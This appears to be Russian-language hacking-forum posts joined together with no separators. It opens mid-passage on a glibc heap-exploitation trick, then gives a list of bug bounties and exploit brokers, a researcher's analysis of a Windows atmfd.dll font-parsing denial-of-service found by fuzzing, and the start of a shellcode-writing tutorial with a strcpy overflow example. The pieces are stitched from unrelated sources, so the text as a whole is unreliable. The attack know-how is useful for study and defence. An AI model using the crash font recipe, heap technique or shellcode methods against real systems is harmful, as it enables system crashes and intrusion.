Момент истины настал. А я уже малёха подустал на написание этого материала ушло около 8 часов. подряд.
Но нужно доделать, раз уж взялся.
И так что мы имеем в итоге?
1 - мы затераем следующее от места аллокации поле. это не страшно в данной
ситуации, но нужно учитывать.
2 - мы не имеем возможности положить адрес в __malloc_hook, а изначально там
пустота.
3 - самое главное во всём этом то, что у нас гаджет находится по адресу
отличному от адреса хука на 6 тетрад. младшие 3 тетрады - статичны. их
брутфорсить не нужно. старшие 2 байта - идентичны. А отсюда следует, что шансы
попасть по ван-гаджету примерно 161616.
pwndbg> p 16*16*16 $30 = 4096
4 - остаётся только затригеррить. но на реальных программах это не не должно
составить большого труда.
Пожалуй, назову эту технику House of Cats :3
Доброго времени суток дамага. В данном топике будут собираться линки на багбаунти программы и брокерские компании которые занимаются купле\продажей уязвимостей и эксплойтов.. Для чего это надо? Дело в том, что сейчас появилось настолько много багбаунти программ и брокерских компаний, что уследить за всем не возможно. Поэтому, этот топик будет в качестве схрона линков по данной тематике. Не нашли линк в топе? Не стесняйтесь, добавьте линк с мини описанием. Так же первый пост будет обновляться, а последующие посты будут чиститься.
Формат записи такой:
ссылка + мини описание
![ssd-disclosure.com](/proxy.php?image=https%3A%2F%2Fssd-disclosure.com%2Fwp- content%2Fuploads%2F2022%2F08%2FGroup-108-1.png&hash=be4f46a114ef44d384750a27d7aba0e7&return_error=1)
SSD provides the knowledge, experience and tools needed to find and disclose vulnerabilities and advanced attack vectors.
![ssd-disclosure.com](/proxy.php?image=https%3A%2F%2Fssd-disclosure.com%2Fwp- content%2Fuploads%2F2022%2F08%2FGroup-36.png&hash=decc86232d3c16b883129e64e99fef16&return_error=1) ssd-disclosure.com
Компания которая выступает в качестве посредника для продажи сплойтов
expocod.com
Российская биржа купли\продажи уязвимостей
РФ платформа по покупке 0day эксплойтов
program.html)
![www.crowdfense.com](/proxy.php?image=https%3A%2F%2Fwww.crowdfense.com%2Fbug- bounty- program.html%2Fassets%2Ffavicon.png&hash=002abdd189675e94d0e7cbf771698506&return_error=1) www.crowdfense.com
ИБ-компания которая покупает эксплоиты из цепочек - LPE+RCE
](https://zerodium.com/program.html)
ZERODIUM is the leading exploit acquisition platform for premium zero-days and advanced cybersecurity research. Our platform allows security researchers to sell their 0day (zero-day) exploits for the highest rewards.
zerodium.com
Бывший VUPEN. Компания специализирующаяся на купле-продаже эксплоитов
![developer.apple.com](/proxy.php?image=https%3A%2F%2Fsecurity.apple.com%2Fassets%2Fimage%2Fseo- image.jpg&hash=71a98abf53e84683fd618a243bbc0e13&return_error=1)
](https://developer.apple.com/security-bounty/)
Your security research may be eligible for a reward through the Apple Security Bounty. We welcome reports from anyone.
developer.apple.com
Багбаунти программа от компании Apple
![www.zerodayinitiative.com](/proxy.php?image=https%3A%2F%2Fzerodayinitiative.com%2Fimages%2Flogo- footer.svg&hash=5744d86dc2c817dfde5e4101f84cb981&return_error=1)
www.zerodayinitiative.com
Программа вознаграждений для исследователей за раскрытие уязвимостей
www.exodusintel.com
Работа с должностью Exploit-developer. ИБ-компания которая продает информацию об уязвимостях.
REVULN cybersecurity research, conferences and meetings
revuln.com
Конференция и ИБ-компания в одном лице, которая продает информацию об уязвимостях для SCADA-систем и не только
Pwn0rama - это первоклассная программа COSEINC для приобретения эксплойтов,
ориентированная для настольных компьютеров, серверов и мобильных платформ.
to be continued...
Данной записью я продолжаю [начатый ранее](http://blog.cr4.sh/2012/05/post- ms12-034-0day.html) экскурс в legacy-мусор графической подсистемы Windows и уязвимости нулевого дня в ней. На этот раз речь пойдёт об уязвимостях, связанных с обработкой шрифтов. Вообще данный вектор сложно назвать новым, в ядре Windows уже неоднократно находили подобные уязвимости, среди них наиболее известными являются [MS11-077](http://technet.microsoft.com/en- us/security/bulletin/ms11-077) и [MS11-087](http://technet.microsoft.com/en- us/security/bulletin/ms11-087), подробный анализ которых можно найти в документе «[GDI Font Fuzzing in Windows Kernel for Fun](http://media.blackhat.com/bh-eu-12/Lee/bh-eu-12-Lee-GDI_Font_Fuzzing- Slides.pdf)».
Операционная система Windows поддерживает как растровые, так и векторные шрифты. Растровые шрифты представляют собой файлы формата Microsoft Windows Bitmapped Font с расширением .FON, в качестве контейнера для хранения данных шрифта используется формат Portable Executable (обычные PE-файлы, так же как и в случае с клавиатурными раскладками). В неправильной обработке шрифтов такого формата, которая приводит к переполнению пула в ядре, и заключается уязвимость MS11-077.
Векторные шрифты Windows в качестве контейнера используют формат OpenType, а относительно формата хранимых в контейнере данных такие шрифты делятся на два класса: TrueType-based (файлы с расширением .TTF) и PostScript-based (файлы с расширением .OTF). Спецификация на OpenType и TrueType форматы доступна на сайте Microsoft-а. Эксплойт для уязвимости MS11-087, при обработке TrueType-based шрифтов, использовался в черве Duqu.
Вообще, на поиск других уязвимостей при обработке шрифтов меня (да и, наверняка, многих других исследователей) подвигли именно MS11-077 и MS11-087. Из-за простоты проработки данного вектора (которая диктуется относительно несложными форматами) я не рассчитывал на существенный успех, и сосредоточился, главным образом, на PostScript-based шрифтах, в коде обработки которых мне и удалось найти неизвестную ранее remote DoS уязвимость.
OpenType контейнер и обработка шрифтов в Windows
Данный формат описан в главе «TrueType Font File» документа «TrueType Specification». Его структура включает в себя последовательно идущие друг за другом заголовок, таблицу директорий и, собственно, сами директории:
Заголовок имеет следующий вид:
Code:Copy to clipboard
typedef struct _OTF_FILE_HEADER
{
ULONG sfntVersion; // 0x00010000 for version 1.0.
USHORT numTables; // Number of tables.
USHORT searchRange; // (Maximum power of 2 <= numTables) x 16.
USHORT entrySelector; // Log2(maximum power of 2 <= numTables).
USHORT rangeShift; // NumTables x 16-searchRange.
} OTF_FILE_HEADER,
*POTF_FILE_HEADER;
Наиболее важным для реализации фаззера полем является numTables, которое содержит количество записей в таблице директорий. Каждая такая запись имеет следующую структуру:
Code:Copy to clipboard
typedef struct _OTF_TABLE_HEADER
{
ULONG tag; // 4-byte identifier.
ULONG checkSum; // CheckSum for this table.
ULONG offset; // Offset from beginning of TrueType font file.
ULONG length; // Length of this table.
} OTF_TABLE_HEADER,
*POTF_TABLE_HEADER;
Идентификатор tag представляет собой 4 ASCII символа, которые являются именем таблицы (например: head, hhea, maxp, OS/2, name, cmap, post, CFF, hmtx). Именно по этому имени код обрабатывающий файл шрифта определяет, какие данные находятся в данной таблице (описания глифов, метаинформация, цифровая подпись и многое другое). Всего типов таблиц существует около двух десятков. Загрузчик шрифтов проверяет контрольные суммы таблиц, которые хранятся в поле checkSum, если контрольная сумма не совпадает – то такой файл шрифта обработан не будет.
Код подсчёта контрольной суммы для данных, хранящихся в таблице:
Code:Copy to clipboard
ULONG OTF_CalcTableChecksum(ULONG *Table, ULONG Length)
{
ULONG Sum = 0;
ULONG nLongs = (ALIGN_UP(Length, sizeof(ULONG))) / sizeof(ULONG);
for (ULONG i = 0; i < nLongs; i++, Table++)
{
Sum += htonl(*Table);
}
return Sum;
}
Для загрузки произвольного шрифта в Windows используются API функции [AddFontResource](http://msdn.microsoft.com/en- us/library/windows/desktop/dd183326(v=vs.85).aspx)() и [AddFontresourceEx](http://msdn.microsoft.com/en- us/library/windows/desktop/dd183327(v=vs.85).aspx)(), которые в качестве параметра принимают путь к файлу шрифта. На низком уровне этим функциям соответствуют системные вызовы графической подсистемы win32k!NtGdiAddFontResourceW() и win32k!NtGdiAddFontMemResourceEx(). Последний позволяет загрузить шрифт не только из файла на диске, но так же из буфера в памяти.
За обработку TrueType-based шрифтов отвечает код непосредственно графической подсистемы, находящийся в исполняемом модуле win32k.sys, но обработка PostScript-based шрифтов вынесена в динамическую библиотеку %SystemRoot%\system32\atmfd.dll, разработчиком которой, согласно информации о версии, является компания Adobe:
Эта библиотека имеет один и тот же номер версии на всех актуальных версиях Windows, начиная с XP. Загрузка atmfd.dll осуществляется на этапе инициализации графической подсистемы в коде win32k!InitializeGreCSRSS() c помощью функции win32k!bEnableFontDriver():
Code:Copy to clipboard
loc_BF88BF89: ; CODE XREF: InitializeGreCSRSS()+B92
push 4
push offset _atmfdEnableDriver@12 ; __int32 (__stdcall *)()
call ?bEnableFontDriver@@YGHP6GJXZK@Z ; bEnableFontDriver(long (*)(void),ulong)
test eax, eax
jz short loc_BF88BFF8
Для вызова того или иного кода из atmfd.dll графическая подсистема использует функции-переходники, адреса которых хранятся в глобальном массиве win32k!atmfdCallBlock():
Code:Copy to clipboard
_atmfdCallBlock ; DATA XREF: atmfdEnableDriver(x,x,x)+16o
dd 0
dd offset _atmfdEnablePDEV@44 ; atmfdEnablePDEV(x,x,x,x,x,x,x,x,x,x,x)
dd 2
dd offset _atmfdDisablePDEV@4 ; atmfdDisablePDEV(x)
dd 1
dd offset __SetDbgTag@8 ; _SetDbgTag(x,x)
dd 2Dh
dd offset _atmfdLoadFontFile@28 ; atmfdLoadFontFile(x,x,x,x,x,x,x)
dd 2Ch
dd offset _atmfdQueryFontCaps@8 ; atmfdQueryFontCaps(x,x)
dd 2Eh
dd offset _atmfdUnloadFontFile@4 ; atmfdUnloadFontFile(x)
dd 33h
dd offset _atmfdQueryFontFile@16 ; atmfdQueryFontFile(x,x,x,x)
dd 1Ah
dd offset _atmfdQueryFont@16 ; atmfdQueryFont(x,x,x,x)
dd 2Ah
dd offset _atmfdFree@8 ; atmfdFree(x,x)
dd 1Bh
dd offset _atmfdQueryFontTree@20 ; atmfdQueryFontTree(x,x,x,x,x)
dd 1Ch
dd offset _atmfdQueryFontData@28 ; atmfdQueryFontData(x,x,x,x,x,x,x)
dd 2Bh
dd offset _atmfdDestroyFont@4 ; atmfdDestroyFont(x)
dd 35h
dd offset _atmfdQueryAdvanceWidths@24 ; atmfdQueryAdvanceWidths(x,x,x,x,x,x)
dd 31h
dd offset _atmfdQueryTrueTypeOutline@28 ; atmfdQueryTrueTypeOutline(x,x,x,x,x,x,x)
dd 30h
dd offset _atmfdQueryTrueTypeTable@32 ; atmfdQueryTrueTypeTable(x,x,x,x,x,x,x,x)
dd 18h
dd offset _atmfdEscape@24 ; atmfdEscape(x,x,x,x,x,x)
dd 2Fh
dd offset _atmfdFontManagement@28 ; atmfdFontManagement(x,x,x,x,x,x,x)
dd 32h
dd offset _atmfdGetTrueTypeFile@8 ; atmfdGetTrueTypeFile(x,x)
dd 56h
dd offset _atmfdQueryGlyphAttrs@8 ; atmfdQueryGlyphAttrs(x,x)
Отладочные символы к библиотеке atmfd.dll отсутствуют, она имеет размер около 300Кб и содержит в себе 837 функций. В коде atmfd.dll обильно встречается вывод различных диагностических сообщений об ошибках следующего вида:
Code:Copy to clipboard
push offset aOp_spOp_stk ; "op_sp >= op_stk"
push offset aUnderflowOfTyp ; "underflow of Type 1 operand stack"
push 117Bh
push offset aDNtWindowsCo_6 ; "d:\\nt\\windows\\core\\ntgdi\\fondrv\\otfd\\bc"...
push offset aSDSS ; "%s:%d: %s (%s)\n"
push offset word_427FC
call nullsub_52
Однако функция, осуществляющая вывод этих сообщений, в связи с особенностью Release-сборки представляет собой ничего не делающую пустышку. Перенаправить вывод этих сообщений в удалённый отладчик ядра можно путём установки следующей точки останова:
Code:Copy to clipboard
kd> ba e1 atmfd+15384 "kb L1;da poi(esp+c);da poi(esp+14);g"
Диагностические сообщения могут быть полезными при фаззинге и анализе его результатов:
Фаззинг
Так как тратить много времени на несколько заезженный вектор было неразумно – искать уязвимости при обработке PostScript-based шрифтов я решил методом примитивного мутационного фаззинга. Разработанный мной фаззер, разумеется, осуществлял корректный пересчёт контрольных сумм для содержимого таблиц OpenType контейнера, а во всём остальном – был основан на базе инструмента MutateGen, [о котором я когда-то писал](http://blog.cr4.sh/2011/06/positive- hack-days-2011.html) в контексте фаззинга формата архивов. Итератор (код, который осуществляет «запуск» сгенерированного набора тестовых данных) был встроен в сам фаззер, и представлял собой вариацию на тему API функций AddFontResource() и DrawText().
Касательно реализации итератора у меня есть некоторые общие замечания. В книге «[iOS Hacker’s Handbook](http://www.amazon.com/iOS-Hackers-Handbook-Charlie- Miller/dp/1118204123)», которую я сейчас читаю (а так же во многих других подобной тематики), содержатся рекомендации по реализации итератора вида «передайте сгенерированную фаззером единицу данных тестируемому приложению, подождите N секунд, после чего насильно завершите его процесс». На мой взгляд, подобный подход – несколько бестолковый. Так как количество итераций, которые ваш сетап для фаззинга может производить в течении некоторого интервала времени, самым непосредственным образом влияют на эффективность фаззинга – разумно минимизировать время проведения одной итерации всеми возможными средствами, а именно – завершать работу тестируемого приложения не по истечению фиксированного количества времени, а ровно в тот момент, когда оно закончило загрузку и обработку тестовых данных. Для отслеживания этого момента можно использовать как легитимные средства (например, различные API и плагины) так и хаки, вроде внесения собственных модификаций в исходный код или исполняемый файл тестируемого приложения.
В итераторе своего фаззера шрифтов, для отслеживания момента окончания загрузки шрифта, я использовал особенности естественного поведения очереди оконных сообщений в Windows:
Фаззер представляет собой приложение, запускаемое из командной строки:
Code:Copy to clipboard
> MsFontsFuzz.exe <font_name> <font_file_path> [options]
... где <font_name> и <font_file_path> – имя шрифта и путь к его файлу. В качестве опций можно указывать следующие опциональные ключи:
--test – вывод символов указанного шрифта без фаззинга.
--text – строка, которая будет выведена с использованием указанного шрифта, по умолчанию используется строка ASCII символов в диапазоне 20h – 7Fh.
--noisy – выводить в консоль информацию о каждой итерации.
--fix_crcs – исправление неправильных контрольных сумм в указанном файле шрифта.
Так же поддерживаются ключи управления режимом генерации некорректных данных (-FILE_RANGE_START , -FILE_RAGE_END , -BLOCK_SIZE , -BLOCK_RANGE_START , -BLOCK_RANGE_END и -BLOCK_RANGE_N) которые соответствуют таковым у упоминавшегося выше инструмента MutateGen.
В качестве исходных данных для мутационного генератора я выбрал шрифты [Brush Script Std Regular](http://store1.adobe.com/cfusion/store/html/index.cfm?store=OLS- US&event=displayFontPackage&code=1447), [Hobo Std Medium](http://store1.adobe.com/cfusion/store/html/index.cfm?store=OLS- US&event=displayFontPackage&code=1448) и несколько других. Так как публичных инструментов для анализа покрытия кода в режиме ядра не существует – этот выбор был интуитивным, исходя из критериев наименьшего размера файла шрифта при наибольшем количестве директорий разных типов в нём.
Уязвимость
В процессе фаззинга c использованием шрифтов Brush Script Std Regular и Hobo Std Medium несколько раз обнаруживалось полное «зависание» тестовой виртуальной машины с последующим вылетом в удалённый отладчик режима ядра по срабатыванию watchdog-а:
Code:Copy to clipboard
*******************************************************************************
* *
* The watchdog detected a timeout condition. We broke into the debugger to *
* allow a chance for debugging this failure. *
* *
* Normally the system will try to recover from this failure and return to a *
* VGA graphics mode. To disable the recovery feature edit the watchdog *
* variable WdDisableRecovery. This will allow you to debug your driver. *
* i.e. execute ed watchdog!WdDisableRecovery 1. *
* *
* Intercepted bugcheck code and arguments are listed below this message. *
* You can use them the same way as you would in case of the actual break, *
* i.e. execute .thread Arg1 then kv to identify an offending thread. *
* *
*******************************************************************************
*** Intercepted Fatal System Error: 0x000000EA
(0x823D8920,0x82809008,0x82954E78,0x00000001)
Driver at fault: vmx_fb
Break instruction exception - code 80000003 (first chance)
nt!DbgBreakPoint:
80527c00 cc int 3
kd> .thread 0x823D8920
Implicit thread is now 823d8920
kd> kb
ChildEBP RetAddr Args to Child
b194f694 806d3ca4 00000000 b194fdf0 8054160d nt!KiDispatchInterrupt+0x7f
b194f6a0 8054160d 00c60b00 00000162 b194fdf0 hal!HalEndSystemInterrupt+0x54
b194f6a0 bf1b4dbc 00c60b00 00000162 b194fdf0 nt!KiInterruptDispatch+0x4d
*** ERROR: Module load completed but symbols could not be loaded for ATMFD.DLL
WARNING: Stack unwind information not available. Following frames may be wrong.
b194fdf0 bf1b6f4a e1326868 bf1c4828 b1950028 ATMFD+0x2adbc
b194fea8 bf1aaf74 e1326868 bf1c4828 b1950028 ATMFD+0x2cf4a
b194ff88 bf1ab013 e1326868 b1950028 b19500ac ATMFD+0x20f74
b194ffb4 bf19c38f e1326868 bf1c4828 b1950028 ATMFD+0x21013
b195011c bf19c77a ffffffff b1950220 e12acb58 ATMFD+0x1238f
b1950168 bf18d386 ffffffff b1950220 00000000 ATMFD+0x1277a
b19501c0 bf83a9db e1a91010 e12abd08 00000001 ATMFD+0x3386
b19501f0 bf83ac37 e1a91010 e12abd08 00000001 win32k!PDEVOBJ::QueryFontData+0x3c
b1950268 bf807b15 b19505d0 e13df344 00000063 win32k!xInsertMetricsPlusRFONTOBJ+0xc4
b195029c bf812b58 00000001 b1950644 7ffde22c win32k!RFONTOBJ::bGetGlyphMetricsPlus+0x180
b19502d0 bf812624 b1950858 b19505d0 00002128 win32k!ESTROBJ::vCharPos_H3+0xee
b1950314 bf8118da 7ffde22c 00000001 b1950858 win32k!ESTROBJ::vInit+0x257
b19505b8 bf813031 b1950858 000000ed 00000000 win32k!GreExtTextOutWLocked+0x666
b1950720 bf80c6c7 b1950858 7ffde1dc 00000058 win32k!GreBatchTextOut+0x344
b1950874 8053d6aa 00000091 00a8fabc 00a8fadc win32k!NtGdiFlushUserBatch+0x11b
b19508a4 bf80555e bf80556b 00000000 00a80000 nt!KiFastCallEntry+0xca
b19508ac 00000000 00a80000 7c900023 badb0023 win32k!HmgDecProcessHandleCount+0x2e
Уязвимость стабильно воспроизводилась в результате модификации фаззером одного из байтов в директории CFF. Всего подобных смещений, изменения байта по которым приводили к триггерингу уязвимости, обнаружилось несколько штук для каждого из шрифтов. Одно из них:
В директории CFF, согласно документации, находятся данные в формате Compact Font Format, спецификация на который предоставляется компанией Adobe. Внутри CFF контейнера содержится векторное описание глифов для символов шрифта в формате Post Script Type 2 Character String Format, который так же описан в документе «The Type 2 Charstring Format»:
Формат CFF организован в отдельные структуры данных, которые содержат описания поддерживаемых данным шрифтом символов, вектора для построения глифов, метаинформацию и прочее. Доступ к глифам осуществляется через таблицы кодирования, которые устанавливают соответствие между глифами и кодами символов. Эти таблицы представлены в виде 3-х параллельных массивов (код символа, имя символа, глиф) с общим индексом.
Для работы с PostScript шрифтами Adobe предоставляет пакет Font Development Kit, в который входит ряд полезных программ, позволяющих разбирать и собирать обратно PostScript шрифты. Для локализации некорректных данных я сделал текстовые дампы содержимого для нормального и сгенерированного фаззером шрифта с помощью утилиты tx.exe, после чего сравнил их diff-ом:
Code:Copy to clipboard
> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd.otf > BrushScriptStd.txt
> fdk-2.5\Tools\win\tx.exe -dcf BrushScriptStd_0000298f.otf > BrushScriptStd_0000298f.txt
> diff -u BrushScriptStd.txt BrushScriptStd_0000298f.txt
--- BrushScriptStd.txt Fri Jun 08 14:56:35 2012
+++ BrushScriptStd_0000298f.txt Fri Jun 08 17:06:00 2012
@@ -1249,7 +1249,8 @@
[68]={
-40 -13 88 310 -20 hstem
-3 73 14 callsubr
- 95 112 99 65 61 vhcurveto
+ 95 112 99 65 reserved13
+ vhcurveto
32 callsubr
}
Дампы доступны для загрузки по следующим ссылкам: BrushScriptStd_0000298f.txt, BrushScriptStd.txt
Как видно, модификация фаззером значения байта по смещению 298Fh из C8h в 0Dh привела к тому, что описание глифа #68 (в шрифте Brush Script Std ему соответствует прописная латинская литера «с») изменилось с:
Code:Copy to clipboard
[68]={
-40 -13 88 310 -20 hstem
-3 73 14 callsubr
95 112 99 65 61 vhcurveto
32 callsubr
}
… на:
Code:Copy to clipboard
[68]={
-40 -13 88 310 -20 hstem
-3 73 14 callsubr
95 112 99 65 reserved13
vhcurveto
32 callsubr
}
Что и привело к аномальному поведению atmfd.dll при обработке шрифта.
Обратимся к документации на Type 2 Charstring Format, что бы разобраться в формате глифов и выяснить причину уязвимости. Charstring-данные представляют собой массив байтов, каждый из которых может декодироваться либо как оператор (hstem, callsubr, vhcurveto и другие на листингах выше), либо как числовой аргумент (-40, -13, 88, 310, -20 и так далее) в зависимости от того, в каком диапазоне лежит значение этого байта:
Данные оригинального шрифта, имеющие HEX-представление F7h 04h EEh CCh C8h 1Eh, декодируются в команду |dy1 dx2 dy2 dx3 dyf vhcurveto| которая строит к текущей точке кривую Безье по двум касательным, которые указаны в качестве операндов. Операнд dyf (глубина изгиба кривой), в модифицированном фаззером шрифте имеет значение 0Dh, в результате чего atmfd.dll ошибочно декодирует этот байт в зарезервированный оператор под номером 13:
Для более удобного анализа уязвимости из сгенерированного фаззером шрифта я собрал минимальный тестовый кейс, с помощью которого можно воспроизвести найденную уязвимость. Для редактирования шрифтов была использована другая утилита из состава Font Development Kit, ttx.exe, которая позволяет преобразовать .OTF файл шрифта в XML представление, и генерировать из модифицированного XML документа новый .OTF файл.
Модификации для получения минимального тестового кейса свелись к следующему:
В результате текстовый дамп полученного файла шрифтов упростился до следующего вида:
Code:Copy to clipboard
### Header (00000700-00000703)
major =1
minor =0
hdrSize=4
offSize=4
### Name INDEX (00000704-0000071c)
--- object[index]={value}
[0]={CFF_Type-1_0x0d_expl}
### Top DICT INDEX (0000071d-0000074c)
--- object[index]={value}
[0]={
423 version
424 Notice
425 FullName
426 FamilyName
387 Weight
-14 ItalicAngle
-184 -280 1328 882 FontBBox
465 charset
28 1271 Private
472 CharStrings
}
### String INDEX (0000074d-000008cc)
--- object[index]={value}
[391]={f_i}
[392]={Omega}
[393]={pi}
[394]={Euro}
[395]={estimated}
[396]={partialdiff}
[397]={product}
[398]={summation}
[399]={uni2219}
[400]={radical}
[401]={infinity}
[402]={integral}
[403]={approxequal}
[404]={notequal}
[405]={lessequal}
[406]={greaterequal}
[407]={lozenge}
[408]={uni02C9}
[409]={uni00AD}
[410]={uni03A9}
[411]={uni00A0}
[412]={afii61289}
[413]={uni03BC}
[414]={uni2215}
[415]={f_l}
[416]={a.superior}
[417]={o.superior}
[418]={one.superior}
[419]={two.superior}
[420]={three.superior}
[421]={uni2206}
[422]={uni2010}
[423]={002.000}
[424]={}
[425]={CFF_Type-1_0x0d_expl Medium}
[426]={CFF_Type-1_0x0d_expl}
### GlobalSubrINDEX (000008cd-000008ce)
empty
### Encoding ........ (Standard)
### Charset (000008d1-000008d7)
format=1
--- Range1[index]={first,nLeft}
[0]={1,227}
[1]={391,31}
### CharStrings INDEX (000008d8-00000bf6)
--- object[index]={value}
[0]={
endchar
}
[1]={
endchar
}
# ... SKIPPED ...
[68]={
-74 37 -72 77 95 112 99 65 reserved13
vhcurveto
endchar
}
# ... SKIPPED ...
[260]={
endchar
}
### Private DICT (00000bf7-00000c12)
-20 20 683 23 -333 23 247 9 BlueValues
-265 23 OtherBlues
88 StdHW
88 StdVW
565 defaultWidthX
399 nominalWidthX
28 Subrs
### Local Subr INDEX (00000c13-00000c14)
Empty
XML представление, которое использовалось для редактирования шрифта: CFF_Type-1_0x0d_expl.ttx
Далее была произведена трассировка кода atmfd.dll при обработке минимального тестового кейса. При загрузке atmfd.dll в дизассемблер, основная функция, обрабатывающая байты глифа, сразу бросается в глаза: она находится по адресу ATMFD+0x288ca и имеет размер машинного кода порядка 17-ти килобайт. В коде функции неоднократно встречаются константы и арифметические операции декодирования байтов, которые описаны в документации на Type 2 Charstring Format. Установим точку останова на ту инструкцию, которая читает байт из описывающего глиф массива для последующего декодирования:
Code:Copy to clipboard
kd> u ATMFD+0x28f83
ATMFD+0x28f83:
bf1b2f83 8b857cffffff mov eax,dword ptr [ebp-84h]
bf1b2f89 0fb638 movzx edi,byte ptr [eax]
bf1b2f8c ff857cffffff inc dword ptr [ebp-84h]
kd> db @eax
00c80b2b 41 b0 43 d8 ea f7 04 ee-cc 0d 1e 0e 0e 0e 0e 0e A.C.............
00c80b3b 0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e ................
00c80b4b 0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e ................
00c80b5b 0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e ................
Регистр eax указывает на область памяти, в которой находится глиф. Когда цикл получения байт из буфера доходит до кода операции 0Dh, из-за ошибки при его декодировании указатель текущей позиции буфера перемещается на несколько десятков байт выше (0x00c80b09):
Code:Copy to clipboard
ATMFD+0x28f89:
bf1b2f89 0fb638 movzx edi,byte ptr [eax]
kd> db @eax
00c80b09 0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e ................
00c80b19 0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e ................
00c80b29 0e 0e 41 b0 43 d8 ea f7-04 ee cc 0d 1e 0e 0e 0e ..A.C...........
00c80b39 0e 0e 0e 0e 0e 0e 0e 0e-0e 0e 0e 0e 0e 0e 0e 0e ................
... где находится код операнда 0Eh (endchar), после обработки которого указатель текущей позиции вновь перемещается на начало глифа (0x00c80b2b), из- за чего процедура впадает в бесконечный цикл.
Таким образом, найденную мной уязвимость можно классифицировать как Remote DoS – по итогам исследования кода atmfd.dll не было выявлено ошибок, которые могли бы привести к повреждению памяти или контролю над EIP. На компьютерах с Windows XP / Server 2003 обработка зловредного шрифта приводит к аварийному завершению работы системы:
На Windows Vista и старше результатом воспроизведения уязвимости является 100% загрузка одного из ядер процессора, опять же, без возможности каким-либо образом завершить процесс, который инициировал загрузку зловредного шрифта:
Уязвимости подвержены все актуальные версии Windows (как x32, так и x64). Уязвимость может быть воспроизведена из-под учётной записи с любым уровнем привилегий. Для удалённой атаки зловредный шрифт можно встроить в web- страницу или документ (червь Duqu использовал документ Microsoft Word формата .DOCX для проведения схожей атаки).
Links
Размер минимизированного .OTF файла шрифта составляет 4Кб. Архив доступен для загрузки.
Исходные тексты и исполняемые файлы фаззера доступны в репозитории на GitHub.
Автор Сr4sh (с)
Источник
В этой статье рассматривается техническая разработка шеллкодов. Понимание как
они создаются и работают поможет вам написать собственный шеллкод. Также, вы
сможете модифицировать уже готовые эксплоиты.
Для ее понимания желательно иметь опыт (хотя бы небольшой) программирования на
каком-нибудь компилируемом нативном языке (Си, Паскаль, в идеале - Ассемблер).
Скрипты не считаются.
Часть первая рассматривает самые основы, ничего нового и эксклюзивного вы тут
не найдете, но она нужна для понимания дальнейших материалов.
Вступление
Допустим, у вас есть рабочий эксплоит для Internet Explorer или Flash Player,
который открывает калькулятор винды. Практической пользы с этого, конечно же,
мало. Хочется добавить туда еще какой-то функционал , скажем, выполнения
команд или скачивание других файлов из инета. Можно, конечно, заюзать что-
нибудь найденное в интернете, или сгенерировать код с помощью модуля
Метасплойта msfvenom. Но, для начала, желательно понимать, как устроен шеллкод
и как именно он работает.
Для тех, про первый раз слышит этот термин, процитирую Вики: шелл-код (англ. shellcode, код запуска оболочки) — это двоичный исполняемый код, который обычно передаёт управление командному процессору, например '/bin/sh' в Unix shell, 'command.com' в MS-DOS и 'cmd.exe' в операционных системах Microsoft Windows. Шелл-код может быть использован как полезная нагрузка эксплойта, обеспечивающая взломщику доступ к командной оболочке (англ. shell) в компьютерной системе.
Короче говоря, шеллкод это часть бинарного кода, который мы можем использовать как пейлоад (полезную нагрузку) для эксплойта. Что такое бинарный код? Для начала, посмотрите на этот код на языке Си:
C:Copy to clipboard
#include <stdio.h>
int main()
{
printf("Hello, World!\n");
return 0;
}
Spoiler: офтоп
(Не закрывайте вкладку со статьей, дальше все не настолько плохо))
На Ассемблере это выглядит примерно так:
Code:Copy to clipboard
_main PROC
push ebp
mov ebp, esp
push OFFSET HelloWorld ; "Hello, World!\n"
call _printf
add esp, 4
xor eax, eax
pop ebp
ret 0
_main ENDP
Следует отметить, здесь есть главная процедура программы main, и вызов функции
printf(которая выводит строку). Этот же код выглядит на бинарном уровне так:
![](/proxy.php?image=https%3A%2F%2Fkpmgsecurity.files.wordpress.com%2F2015%2F10%2Fmachine-
code.png&hash=c8130bfb80a4957592f5a365cdcde0c4)
Т.е. "55 8B EC 68 00 B0 33 01 ... " это бинарный код нашей программы.
Как использовать шеллкод в эксплоите?
Возьмем в качестве примера простой эксплойт, уязвимость переполнения буфера
(на стеке).
C:Copy to clipboard
void exploit(char *data)
{
char buffer[20];
strcpy(buffer, data);
}
Что делает эта программа? Она выделяет на стеке (это такая область памяти)
буфер размером 20 байт, и копирует туда строку, на которую указывает параметр
функции. Фунция strcpy никак не проверяет размер данных, соответственно, мы
можем использовать эту уязвимость.
Основная идея заключается в следующем: нужно отправить приложению строку
размером более 20 байт, которая содержит ваш шеллкод. Функция запишет 20 байт
в буфер, а все остальное (ваш шеллкод) будет помещено в стек программы. Ваша
строка перезапишет кусок важных данных в стеке (например, сохраненный EIP или
указатель функции) с пользовательским адресом памяти. Выполнение программы
переместится на ваш шеллкод из стека и начнет выполнять именно его, а не код,
который изначально вложил в программу ее автор. Но для этого нужно понимание,
как именно работает память, адресация и прочие моменты, иначе вы получите
только падение программы с неизвестной для юзера ошибкой.
Специфические аспекты шеллкода
Было бы слишком просто написать код, делающий то, что нам нужно,
скомпилировать и использовать как шеллкод. Существую некоторые специфические
аспекты, которые отличают шеллкод от обычной программы:
1. Мы не можем использовать абсолютные смещения для строк
2. Мы не знаем адреса функций (например, printf)
3. Мы должны избегать некоторых конкретных символов(например, нулл-байтов)
Рассмотрим все это подробней
1. В коде на С/С++ вы можете объявить строку как глобальную переменную,
которая будет находится в секции .data , по какому-то там (выделенному
компилятором) адресу.
![](/proxy.php?image=https%3A%2F%2Fkpmgsecurity.files.wordpress.com%2F2015%2F10%2Fdata- section-string.png%3Fw%3D636%26h%3D359&hash=50812f7d6b08d3500724458f0139d0f1)
Проблема в том, что в программе, в которую вы подгрузите шеллкод, этот адрес уже может быть занят чем-то другим. В результате, вы получите совсем не то, что надо. Соответственно, нам нужен относительный адрес переменной, поэтому строки мы будем хранить на стеке (как - рассмотрим дальше).
